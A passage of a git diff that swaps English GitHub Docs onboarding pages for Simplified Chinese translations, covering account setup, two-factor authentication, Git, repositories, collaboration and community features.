reusables.getting-started.customizing-and-automating %} -### 1. Using {% data variables.product.prodname_marketplace %} +### 1. 使用 {% data variables.product.prodname_marketplace %} {% data reusables.getting-started.marketplace %} -### 2. Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API +### 2. 使用 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API {% data reusables.getting-started.api %} -### 3. Building {% data variables.product.prodname_actions %} +### 3. 生成 {% data variables.product.prodname_actions %} {% data reusables.getting-started.actions %} -### 4. Publishing and managing {% data variables.product.prodname_registry %} +### 4. 发布和管理 {% data variables.product.prodname_registry %} {% data reusables.getting-started.packages %} -## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community +## 第 6 部分:参与 {% data variables.product.prodname_dotcom %} 的社区 {% data reusables.getting-started.participating-in-community %} -### 1. Contributing to open source projects +### 1. 参与开源项目 {% data reusables.getting-started.open-source-projects %} -### 2. Interacting with the {% data variables.product.prodname_gcf %} +### 2. 与 {% data variables.product.prodname_gcf %} 交互 {% data reusables.support.ask-and-answer-forum %} -### 3. Reading about {% data variables.product.prodname_team %} on {% data variables.product.prodname_docs %} -You can read documentation that reflects the features available with {% data variables.product.prodname_team %}. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)." +### 3. 了解 {% data variables.product.prodname_docs %} 上的 {% data variables.product.prodname_team %} +您可以阅读反映 {% data variables.product.prodname_team %} 可用功能的文档。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_docs %} 的版本](/get-started/learning-about-github/about-versions-of-github-docs)”。 -### 4. Learning with {% data variables.product.prodname_learning %} +### 4. 通过 {% data variables.product.prodname_learning %} 学习 {% data reusables.getting-started.learning %} -### 5. Supporting the open source community +### 5. 支持开源社区 {% data reusables.getting-started.sponsors %} -### 6. Contacting {% data variables.contact.github_support %} +### 6. 联系 {% data variables.contact.github_support %} {% data reusables.getting-started.contact-support %} -## Further reading +## 延伸阅读 -- "[Getting started with your GitHub account](/get-started/onboarding/getting-started-with-your-github-account)" +- [开始使用 GitHub 帐户](/get-started/onboarding/getting-started-with-your-github-account) diff --git a/translations/zh-CN/content/get-started/onboarding/getting-started-with-your-github-account.md b/translations/zh-CN/content/get-started/onboarding/getting-started-with-your-github-account.md index 9fe0d1f65c..dbf948f14a 100644 --- a/translations/zh-CN/content/get-started/onboarding/getting-started-with-your-github-account.md +++ b/translations/zh-CN/content/get-started/onboarding/getting-started-with-your-github-account.md @@ -1,203 +1,199 @@ --- -title: Getting started with your GitHub account -intro: 'With a personal account on {% data variables.product.prodname_dotcom %}, you can import or create repositories, collaborate with others, and connect with the {% data variables.product.prodname_dotcom %} community.' +title: 开始使用 GitHub 帐户 +intro: '使用 {% data variables.product.prodname_dotcom %} 上的个人帐户,你可以导入或创建存储库、与他人协作以及与 {% data variables.product.prodname_dotcom %} 社区联系。' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' +ms.openlocfilehash: 38d23c1a1b5021a681aedff8813daad751905d8a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147408920' --- +本指南将引导您完成 {% data variables.product.company_short %} 帐户的设置,并开始使用 {% data variables.product.product_name %} 协作和社区功能。 -This guide will walk you through setting up your {% data variables.product.company_short %} account and getting started with {% data variables.product.product_name %}'s features for collaboration and community. +## 第 1 部分:配置 {% data variables.product.prodname_dotcom %} 帐户 -## Part 1: Configuring your {% data variables.product.prodname_dotcom %} account - -{% ifversion fpt or ghec %} -The first steps in starting with {% data variables.product.product_name %} are to create an account, choose a product that fits your needs best, verify your email, set up two-factor authentication, and view your profile. -{% elsif ghes %} -The first steps in starting with {% data variables.product.product_name %} are to access your account, set up two-factor authentication, and view your profile. -{% elsif ghae %} -The first steps in starting with {% data variables.product.product_name %} are to access your account and view your profile. +{% ifversion fpt or ghec %} 开始使用 {% data variables.product.product_name %} 的第一步是创建一个帐户,选择最适合你需求的产品,验证你的电子邮件,设置双重身份验证以及查看你的配置文件。 +{% elsif ghes %} 开始使用 {% data variables.product.product_name %} 的第一步是访问你的帐户,设置双重身份验证并查看你的配置文件。 +{% elsif ghae %} 开始使用 {% data variables.product.product_name %} 的第一步是访问你的帐户并查看你的配置文件。 {% endif %} -{% ifversion fpt or ghec %}There are several types of accounts on {% data variables.product.prodname_dotcom %}. {% endif %} Every person who uses {% data variables.product.product_name %} has their own personal account, which can be part of multiple organizations and teams. Your personal account is your identity on {% data variables.location.product_location %} and represents you as an individual. +{% ifversion fpt or ghec %} {% data variables.product.prodname_dotcom %} 上有几种类型的帐户。 {% endif %} 使用 {% data variables.product.product_name %} 的每个人都有自己的个人帐户,该帐户可以是多个组织和团队的一部分。 你的个人帐户是你在 {% data variables.product.product_location %} 上的身份,代表你个人。 {% ifversion fpt or ghec %} -### 1. Creating an account -To sign up for an account on {% data variables.location.product_location %}, navigate to https://github.com/ and follow the prompts. +### 1. 创建帐户 +要在 {% data variables.product.product_location %} 上注册帐户,请导航到 https://github.com/ 并按照提示操作。 -To keep your {% data variables.product.prodname_dotcom %} account secure you should use a strong and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)." +为了保证 {% data variables.product.prodname_dotcom %} 帐户的安全,您应该使用强大且唯一的密码。 有关详细信息,请参阅“[创建强密码](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password)”。 -### 2. Choosing your {% data variables.product.prodname_dotcom %} product -You can choose {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %} to get access to different features for your personal account. You can upgrade at any time if you are unsure at first which product you want. +### 2. 选择 {% data variables.product.prodname_dotcom %} 产品 +您可以选择 {% data variables.product.prodname_free_user %} 或 {% data variables.product.prodname_pro %} 来访问个人帐户的不同功能。 如果您一开始不确定需要哪种产品,可以随时升级。 -For more information on all of {% data variables.product.prodname_dotcom %}'s plans, see "[{% data variables.product.prodname_dotcom %}'s products](/get-started/learning-about-github/githubs-products)." +有关所有 {% data variables.product.prodname_dotcom %} 计划的详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 的产品](/get-started/learning-about-github/githubs-products)”。 -### 3. Verifying your email address -To ensure you can use all the features in your {% data variables.product.product_name %} plan, verify your email address after signing up for a new account. For more information, see "[Verifying your email address](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)." +### 3. 验证电子邮件地址 +为确保您可以使用 {% data variables.product.product_name %} 计划中的所有功能,请在注册新帐户后验证您的电子邮件地址。 有关详细信息,请参阅“[验证电子邮件地址](/github/getting-started-with-github/signing-up-for-github/verifying-your-email-address)”。 {% endif %} {% ifversion ghes %} -### 1. Accessing your account -The administrator of your {% data variables.product.product_name %} instance will notify you about how to authenticate and access your account. The process varies depending on the authentication mode they have configured for the instance. +### 1. 访问你的帐户 +{% data variables.product.product_name %} 实例的管理员将通知您如何验证和访问您的帐户。 该过程因他们为实例配置的身份验证模式而异。 {% endif %} {% ifversion ghae %} -### 1. Accessing your account -You will receive an email notification once your enterprise owner for {% data variables.product.product_name %} has set up your account, allowing you to authenticate with SAML single sign-on (SSO) and access your account. +### 1. 访问你的帐户 +在 {% data variables.product.product_name %} 的企业所有者设置您的帐户后,您将收到一封电子邮件通知,允许您使用 SAML 单点登录 (SSO) 进行身份验证并访问您的帐户。 {% endif %} {% ifversion fpt or ghes or ghec %} -### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} Configuring two-factor authentication -Two-factor authentication, or 2FA, is an extra layer of security used when logging into websites or apps. We strongly urge you to configure 2FA for the safety of your account. For more information, see "[About two-factor authentication](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)." +### {% ifversion fpt or ghec %}4.{% else %}2.{% endif %} 配置双重身份验证 +双因素身份验证 (2FA) 是登录网站或应用时采用的额外安全保障。 我们强烈建议您配置 2FA 以确保帐户安全。 有关详细信息,请参阅[关于双因素身份验证](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication)。 {% endif %} -### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} Viewing your {% data variables.product.prodname_dotcom %} profile and contribution graph -Your {% data variables.product.prodname_dotcom %} profile tells people the story of your work through the repositories and gists you've pinned, the organization memberships you've chosen to publicize, the contributions you've made, and the projects you've created. For more information, see "[About your profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)" and "[Viewing contributions on your profile](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)." +### {% ifversion fpt or ghec %}5.{% elsif ghes %}3.{% else %}2.{% endif %} 查看您的 {% data variables.product.prodname_dotcom %} 个人资料和贡献图 +您的 {% data variables.product.prodname_dotcom %} 个人资料通过您固定的存储库和 gist、您选择公开的组织成员资格、您所做的贡献以及您创建的项目,向人们讲述您的工作故事。 有关详细信息,请参阅“[关于你的配置文件](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-profile)”和“[查看你的配置文件上的贡献](/github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile)”。 -## Part 2: Using {% data variables.product.product_name %}'s tools and processes -To best use {% data variables.product.product_name %}, you'll need to set up Git. Git is responsible for everything {% data variables.product.prodname_dotcom %}-related that happens locally on your computer. To effectively collaborate on {% data variables.product.product_name %}, you'll write in issues and pull requests using {% data variables.product.prodname_dotcom %} Flavored Markdown. +## 第 2 部分:使用 {% data variables.product.product_name %} 的工具和流程 +为了最好地使用 {% data variables.product.product_name %},您需要设置 Git。 Git 负责在你计算机上本地发生的、与 {% data variables.product.prodname_dotcom %} 有关的所有内容。 为了在 {% data variables.product.product_name %} 上有效地进行协作,您需要使用 {% data variables.product.prodname_dotcom %} Flavored Markdown 编写议题和拉取请求。 -### 1. Learning Git -{% data variables.product.prodname_dotcom %}'s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update using Git. For more information about Git, see the "[Git Handbook](https://guides.github.com/introduction/git-handbook/)" guide. For more information about how Git is used on {% data variables.product.product_name %}, see "[{% data variables.product.prodname_dotcom %} flow](/get-started/quickstart/github-flow)." -### 2. Setting up Git -If you plan to use Git locally on your computer, whether through the command line, an IDE or text editor, you will need to install and set up Git. For more information, see "[Set up Git](/get-started/quickstart/set-up-git)." +### 1. 了解 Git +{% data variables.product.prodname_dotcom %} 的协作开发方法取决于从您的本地仓库发布提交到 {% data variables.product.product_name %},以供其他人使用 Git 查看、提取和更新。 有关 Git 的详细信息,请参阅“[Git 手册](https://guides.github.com/introduction/git-handbook/)”指南。 有关如何在 {% data variables.product.product_name %} 上使用 Git 的详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 流](/get-started/quickstart/github-flow)”。 +### 2. 设置 Git +如果您计划在计算机上本地使用 Git,无论是通过命令行、IDE 还是文本编辑器,您都需要安装和设置 Git。 有关详细信息,请参阅“[设置 Git](/get-started/quickstart/set-up-git)”。 -If you prefer to use a visual interface, you can download and use {% data variables.product.prodname_desktop %}. {% data variables.product.prodname_desktop %} comes packaged with Git, so there is no need to install Git separately. For more information, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)." +如果您更喜欢使用可视化界面,可以下载并使用 {% data variables.product.prodname_desktop %}。 {% data variables.product.prodname_desktop %} 与 Git 一起打包,因此无需单独安装 Git。 有关详细信息,请参阅“[{% data variables.product.prodname_desktop %} 入门指南](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)”。 -Once you install Git, you can connect to {% data variables.product.product_name %} repositories from your local computer, whether your own repository or another user's fork. When you connect to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} from Git, you'll need to authenticate with {% data variables.product.product_name %} using either HTTPS or SSH. For more information, see "[About remote repositories](/get-started/getting-started-with-git/about-remote-repositories)." +安装 Git 后,您可以从本地计算机连接到 {% data variables.product.product_name %} 存储库,无论是您自己的存储库还是其他用户的复刻。 当您从 Git 连接到 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的存储库时,您需要使用 HTTPS 或 SSH 向 {% data variables.product.product_name %} 进行身份验证。 有关详细信息,请参阅“[关于远程存储库](/get-started/getting-started-with-git/about-remote-repositories)”。 -### 3. Choosing how to interact with {% data variables.product.product_name %} -Everyone has their own unique workflow for interacting with {% data variables.product.prodname_dotcom %}; the interfaces and methods you use depend on your preference and what works best for your needs. +### 3. 选择如何与 {% data variables.product.product_name %} 互动 +每个人都有自己独特的工作流程,用于与 {% data variables.product.prodname_dotcom %} 互动;您使用的接口和方法取决于您的偏好和需求。 -For more information about how to authenticate to {% data variables.product.product_name %} with each of these methods, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)." +有关如何使用这些方法向 {% data variables.product.product_name %} 进行身份验证的详细信息,请参阅“[关于向 {% data variables.product.prodname_dotcom %} 进行身份验证](/github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github)”。 -| **Method** | **Description** | **Use cases** | +| **方法** | **说明** | **用例** | | ------------- | ------------- | ------------- | -| Browse to {% data variables.product.prodname_dotcom_the_website %} | If you don't need to work with files locally, {% data variables.product.product_name %} lets you complete most Git-related actions directly in the browser, from creating and forking repositories to editing files and opening pull requests.| This method is useful if you want a visual interface and need to do quick, simple changes that don't require working locally. | -| {% data variables.product.prodname_desktop %} | {% data variables.product.prodname_desktop %} extends and simplifies your {% data variables.product.prodname_dotcom_the_website %} workflow, using a visual interface instead of text commands on the command line. For more information on getting started with {% data variables.product.prodname_desktop %}, see "[Getting started with {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)." | This method is best if you need or want to work with files locally, but prefer using a visual interface to use Git and interact with {% data variables.product.product_name %}. | -| IDE or text editor | You can set a default text editor like [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) to open and edit your files with Git, use extensions, and view the project structure. For more information, see "[Associating text editors with Git](/github/using-git/associating-text-editors-with-git)." | This is convenient if you are working with more complex files and projects and want everything in one place, since text editors or IDEs often allow you to directly access the command line in the editor. | -| Command line, with or without {% data variables.product.prodname_cli %} | For the most granular control and customization of how you use Git and interact with {% data variables.product.product_name %}, you can use the command line. For more information on using Git commands, see "[Git cheatsheet](/github/getting-started-with-github/quickstart/git-cheatsheet)."

{% data variables.product.prodname_cli %} is a separate command-line tool you can install that brings pull requests, issues, {% data variables.product.prodname_actions %}, and other {% data variables.product.prodname_dotcom %} features to your terminal, so you can do all your work in one place. For more information, see "[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)." | This is most convenient if you are already working from the command line, allowing you to avoid switching context, or if you are more comfortable using the command line. | -| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} has a REST API and GraphQL API that you can use to interact with {% data variables.product.product_name %}. For more information, see "[Getting started with the API](/github/extending-github/getting-started-with-the-api)." | The {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API would be most helpful if you wanted to automate common tasks, back up your data, or create integrations that extend {% data variables.product.prodname_dotcom %}. | -### 4. Writing on {% data variables.product.product_name %} -To make your communication clear and organized in issues and pull requests, you can use {% data variables.product.prodname_dotcom %} Flavored Markdown for formatting, which combines an easy-to-read, easy-to-write syntax with some custom functionality. For more information, see "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)." +| 浏览到 {% data variables.product.prodname_dotcom_the_website %} | 如果您不需要在本地处理文件,{% data variables.product.product_name %} 可让您直接在浏览器中完成大多数与 Git 相关的操作,从创建和复刻存储库到编辑文件和打开拉取请求。| 如果您想要一个可视化界面,并且需要执行不需要在本地工作的快速、简单更改,则此方法非常有用。 | +| {% data variables.product.prodname_desktop %} | {% data variables.product.prodname_desktop %} 可扩展并简化您的 {% data variables.product.prodname_dotcom_the_website %} 工作流程,它使用可视界面,而不是在命令行上使用命令文本。 有关 {% data variables.product.prodname_desktop %} 入门的详细信息,请参阅“[{% data variables.product.prodname_desktop %} 入门指南](/desktop/installing-and-configuring-github-desktop/overview/getting-started-with-github-desktop)”。 | 如果您需要或想要在本地处理文件,但更喜欢使用可视化界面来使用 Git 并与 {% data variables.product.product_name %} 交互,则此方法最佳。 | +| IDE 或文本编辑器 | 可以设置默认文本编辑器(如 [Atom](https://atom.io/) 或 [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/))以使用 Git 打开和编辑文件、使用扩展和查看项目结构。 有关详细信息,请参阅“[将文本编辑器与 Git 关联](/github/using-git/associating-text-editors-with-git)”。 | 如果您正在处理更复杂的文件和项目,并且希望所有内容都在一个地方,这将很方便,因为文本编辑器或 IDE 通常允许您直接访问编辑器中的命令行。 | +| 命令行,带或不带 {% data variables.product.prodname_cli %} | 要最精细地控制和自定义如何使用 Git 以及与 {% data variables.product.product_name %} 交互的方式,可以使用命令行。 有关使用 Git 命令的详细信息,请参阅“[Git 速查表](/github/getting-started-with-github/quickstart/git-cheatsheet)”。

{% data variables.product.prodname_cli %} 是一个可以安装的命令行工具,可将拉取请求、问题、{% data variables.product.prodname_actions %} 和其他 {% data variables.product.prodname_dotcom %} 功能引入终端,让你可以在一个地方完成所有工作。 有关详细信息,请参阅“[{% data variables.product.prodname_cli %}](/github/getting-started-with-github/using-github/github-cli)”。 | 如果您已经使用命令行,或者您更习惯于使用命令行,这样最方便,可以避免切换上下文。 | +| {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API | {% data variables.product.prodname_dotcom %} 有 REST API 和 GraphQL API,您可以使用它们与 {% data variables.product.product_name %} 进行交互。 有关详细信息,请参阅“[API 入门指南](/github/extending-github/getting-started-with-the-api)”。 | 如果要自动执行常见任务、备份数据或创建扩展 {% data variables.product.prodname_dotcom %} 的集成,则 {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API 将非常有用。 | +### 4. 在 {% data variables.product.product_name %} 上编写 +为了使您的通信清晰明了,在议题和拉取请求中井井有条,您可以使用 {% data variables.product.prodname_dotcom %} Flavored Markdown 进行格式化,结合易读、易写语法与一些自定义功能。 有关详细信息,请参阅“[关于在 {% data variables.product.prodname_dotcom %} 上编写和设置格式](/github/writing-on-github/about-writing-and-formatting-on-github)”。 -You can learn {% data variables.product.prodname_dotcom %} Flavored Markdown with the "[Communicate using Markdown](https://github.com/skills/communicate-using-markdown)" course on {% data variables.product.prodname_learning %}. +可以通过 {% data variables.product.prodname_learning %} 上的“[使用 Markdown 进行通信](https://github.com/skills/communicate-using-markdown)”课程了解 {% data variables.product.prodname_dotcom %} 风格的 Markdown。 -### 5. Searching on {% data variables.product.product_name %} -Our integrated search allows you to find what you are looking for among the many repositories, users and lines of code on {% data variables.product.product_name %}. You can search globally across all of {% data variables.product.product_name %} or limit your search to a particular repository or organization. For more information about the types of searches you can do on {% data variables.product.product_name %}, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github)." +### 5. 在 {% data variables.product.product_name %} 上搜索 +我们的集成搜索可让您在 {% data variables.product.product_name %} 上的众多存储库、用户和代码行中查找所要的内容。 您可以全局搜索所有 {% data variables.product.product_name %},或将搜索限于特定仓库或组织。 有关可在 {% data variables.product.product_name %} 上执行的搜索类型的详细信息,请参阅“[关于在 {% data variables.product.prodname_dotcom %} 上搜索](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github)”。 -Our search syntax allows you to construct queries using qualifiers to specify what you want to search for. For more information on the search syntax to use in search, see "[Searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/searching-on-github)." +我们的搜索语法允许您使用限定符构建查询,以指定要搜索的内容。 有关在搜索中使用的搜索语法的详细信息,请参阅“[在 {% data variables.product.prodname_dotcom %} 上搜索](/github/searching-for-information-on-github/searching-on-github)”。 -### 6. Managing files on {% data variables.product.product_name %} -With {% data variables.product.product_name %}, you can create, edit, move and delete files in your repository or any repository you have write access to. You can also track the history of changes in a file line by line. For more information, see "[Managing files on {% data variables.product.prodname_dotcom %}](/github/managing-files-in-a-repository/managing-files-on-github)." +### 6. 管理 {% data variables.product.product_name %} 上的文件 +使用 {% data variables.product.product_name %},您可以在存储库或您具有写入权限的任何存储库中创建、编辑、移动和删除文件。 您还可以逐行跟踪文件中更改的历史记录。 有关详细信息,请参阅“[管理 {% data variables.product.prodname_dotcom %} 上的文件](/github/managing-files-in-a-repository/managing-files-on-github)”。 -## Part 3: Collaborating on {% data variables.product.product_name %} -Any number of people can work together in repositories across {% data variables.product.product_name %}. You can configure settings, create project boards, and manage your notifications to encourage effective collaboration. +## 第 3 部分:在 {% data variables.product.product_name %} 上进行协作 +任意数量的人都可以在 {% data variables.product.product_name %} 的存储库中一起工作。 您可以配置设置、创建项目板和管理通知,以鼓励有效的协作。 -### 1. Working with repositories +### 1. 使用存储库 -#### Creating a repository -A repository is like a folder for your project. You can have any number of public and private repositories in your personal account. Repositories can contain folders and files, images, videos, spreadsheets, and data sets, as well as the revision history for all files in the repository. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/about-repositories)." +#### 创建仓库 +仓库就像项目的文件夹。 你的个人帐户中可以有任意数量的公共和私有存储库。 存储库可以包含文件夹和文件、图像、视频、电子表格和数据集,以及存储库中所有文件的修订历史记录。 有关详细信息,请参阅[关于存储库](/github/creating-cloning-and-archiving-repositories/about-repositories)。 -When you create a new repository, you should initialize the repository with a README file to let people know about your project. For more information, see "[Creating a new repository](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)." +创建新存储库时,应使用 README 文件初始化存储库,以便让人们了解您的项目。 有关详细信息,请参阅“[创建新存储库](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-a-new-repository)”。 -#### Cloning a repository -You can clone an existing repository from {% data variables.product.product_name %} to your local computer, making it easier to add or remove files, fix merge conflicts, or make complex commits. Cloning a repository pulls down a full copy of all the repository data that {% data variables.product.prodname_dotcom %} has at that point in time, including all versions of every file and folder for the project. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)." +#### 克隆仓库 +您可以将现有存储库从 {% data variables.product.product_name %} 克隆到本地计算机,从而更轻松地添加或删除文件、修复合并冲突或进行复杂提交。 克隆存储库将提取 {% data variables.product.prodname_dotcom %} 在当时拥有的所有存储库数据的完整副本,包括项目每个文件和文件夹的所有版本。 有关详细信息,请参阅“[克隆存储库](/github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository)”。 -#### Forking a repository -A fork is a copy of a repository that you manage, where any changes you make will not affect the original repository unless you submit a pull request to the project owner. Most commonly, forks are used to either propose changes to someone else's project or to use someone else's project as a starting point for your own idea. For more information, see "[Working with forks](/github/collaborating-with-pull-requests/working-with-forks)." -### 2. Importing your projects -If you have existing projects you'd like to move over to {% data variables.product.product_name %} you can import projects using the {% data variables.product.prodname_dotcom %} Importer, the command line, or external migration tools. For more information, see "[Importing source code to {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)." +#### 复刻仓库 +复刻是您管理的存储库的副本,除非您向项目所有者提交拉取请求,否则您所做的任何更改都不会影响原始存储库。 复刻最常见的用法是对其他人的项目提出更改或将其他人的项目用作自己创意的起点。 有关详细信息,请参阅“[使用分支](/github/collaborating-with-pull-requests/working-with-forks)”。 +### 2. 导入项目 +如果您有要移动到 {% data variables.product.product_name %} 的现有项目,则可以使用 {% data variables.product.prodname_dotcom %} 导入程序、命令行或外部迁移工具导入项目。 有关详细信息,请参阅“[将源代码导入到 {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github)”。 -### 3. Managing collaborators and permissions -You can collaborate on your project with others using your repository's issues, pull requests, and project boards. You can invite other people to your repository as collaborators from the **Collaborators** tab in the repository settings. For more information, see "[Inviting collaborators to a personal repository](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)." +### 3. 管理协作者和权限 +您可以使用仓库议题、拉取请求及项目板与其他人协作处理您的项目。 可以从存储库设置中的“协作者”选项卡中邀请其他人作为协作者加入你的存储库。 有关详细信息,请参阅“[邀请协作者访问个人存储库](/github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository)”。 -You are the owner of any repository you create in your personal account and have full control of the repository. Collaborators have write access to your repository, limiting what they have permission to do. For more information, see "[Permission levels for a personal account repository](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)." +你是在个人帐户中创建的任何存储库的所有者,并拥有对存储库的完全控制。 协作者对您的存储库具有写入权限,他们的操作权限有限。 有关详细信息,请参阅“[个人帐户存储库的权限级别](/github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository)”。 -### 4. Managing repository settings -As the owner of a repository you can configure several settings, including the repository's visibility, topics, and social media preview. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)." +### 4. 管理存储库设置 +作为存储库的所有者,您可以配置多个设置,包括存储库的可见性、主题和社交媒体预览。 有关详细信息,请参阅“[管理存储库设置](/github/administering-a-repository/managing-repository-settings)”。 -### 5. Setting up your project for healthy contributions -{% ifversion fpt or ghec %} -To encourage collaborators in your repository, you need a community that encourages people to use, contribute to, and evangelize your project. For more information, see "[Building Welcoming Communities](https://opensource.guide/building-community/)" in the Open Source Guides. +### 5. 设置项目以获得正常的贡献 +{% ifversion fpt or ghec %} 为了鼓励存储库中的协作者,你需要一个鼓励人们使用、参与和宣传你的项目的社区。 有关详细信息,请参阅开源指南中的“[构建友好社区](https://opensource.guide/building-community/)”。 -By adding files like contributing guidelines, a code of conduct, and a license to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)." -{% endif %} -{% ifversion ghes or ghae %} -By adding files like contributing guidelines, a code of conduct, and support resources to your repository you can create an environment where it's easier for collaborators to make meaningful, useful contributions. For more information, see "[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)." +通过向存储库添加贡献指南、行为准则和许可证等文件,您可以营造一个环境,让协作者更容易做出有意义、有用的贡献。 有关详细信息,请参阅“[设置项目的健康贡献](/communities/setting-up-your-project-for-healthy-contributions)”。 +{% endif %} {% ifversion ghes or ghae %} 通过向存储库添加贡献指南、行为准则和支持资源等文件,你可以营造一个环境,让协作者更容易做出有意义、有用的贡献。 有关详细信息,请参阅“[设置项目的健康贡献](/communities/setting-up-your-project-for-healthy-contributions)”。 {% endif %} -### 6. Using GitHub Issues and project boards -You can use GitHub Issues to organize your work with issues and pull requests and manage your workflow with project boards. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)" and "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." +### 6. 使用 GitHub 问题和项目板 +您可以使用 GitHub Issues 来组织工作议题和拉取请求,并使用项目板管理工作流程。 有关详细信息,请参阅“[关于问题](/issues/tracking-your-work-with-issues/about-issues)”和“[关于项目板](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)”。 -### 7. Managing notifications -Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} you've subscribed to or participated in. If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)." +### 7. 管理通知 +通知会提供有关您订阅或参与的 {% data variables.product.prodname_dotcom %} 活动的更新。 如果您的某项对话不再感兴趣,您可以取消订阅、取消关注或自定义以后接收的通知类型。 有关详细信息,请参阅“[关于通知](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)”。 -### 8. Working with {% data variables.product.prodname_pages %} -You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)." +### 8. 使用 {% data variables.product.prodname_pages %} +您可以使用 {% data variables.product.prodname_pages %} 直接从 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的存储库创建和托管网站。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)”。 {% ifversion discussions %} -### 9. Using {% data variables.product.prodname_discussions %} -You can enable {% data variables.product.prodname_discussions %} for your repository to help build a community around your project. Maintainers, contributors and visitors can use discussions to share announcements, ask and answer questions, and participate in conversations around goals. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." +### 9. 使用 {% data variables.product.prodname_discussions %} +您可以为存储库启用 {% data variables.product.prodname_discussions %},以帮助围绕项目构建社区。 维护者、贡献者和访客可以使用讨论来共享公告、提出和回答问题,以及参与关于目标的对话。 